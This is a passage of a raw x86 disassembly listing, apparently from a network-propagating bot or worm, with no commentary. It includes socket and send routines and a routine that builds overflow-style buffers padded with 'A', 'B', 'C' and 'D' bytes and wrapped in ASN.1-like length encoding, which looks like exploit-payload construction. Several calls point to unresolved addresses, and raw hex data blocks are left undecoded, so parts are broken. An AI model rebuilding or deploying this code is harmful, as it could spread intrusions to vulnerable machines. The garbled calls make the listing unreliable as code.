		add	esp, 14h

loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0F4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7

loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEE4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40C4A2

loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------

loc_40C4A2:				; CODE XREF: sub_40C124+371j
		call	near ptr 2670D55h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428

loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0F0[eax*8]
		push	eax
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AE4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0F4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0F0
		nop
		call	near ptr 26D0743h

loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h

loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0F4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAFA4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB024
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEEC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB030
		push	eax
		mov	edi, offset dword_4CDAB4
		push	offset dword_431BC4
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h

loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB03C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B03015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BEC68FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCE00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	2263F04h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 2EE890FCh, 0FF022442h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAECCh
		dd 45895040h, 0A015FF08h, 89004CAFh, 458D0845h,	50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 3015FFE4h, 50004CB0h, 0FED0858Dh,	4068FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0E0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 263E13E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 3EE80875h, 90022441h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 3015FFE4h, 50004CB0h, 0FED0858Dh,	1468FFFFh
		dd 5000431Ch, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx

loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949

loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------

loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------

loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE5C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------

loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1

loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C920
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F

loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C78
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C80
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "░B░B░B░B"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FFC
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C84
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FF0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FEC
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FE8
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FDC
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431FD7+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------

loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB

loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------

loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAFBC

loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAFA0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFF4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------

loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431D14
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D44
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDCBC
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C8C
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95

loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------

loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1

loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl

loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D50
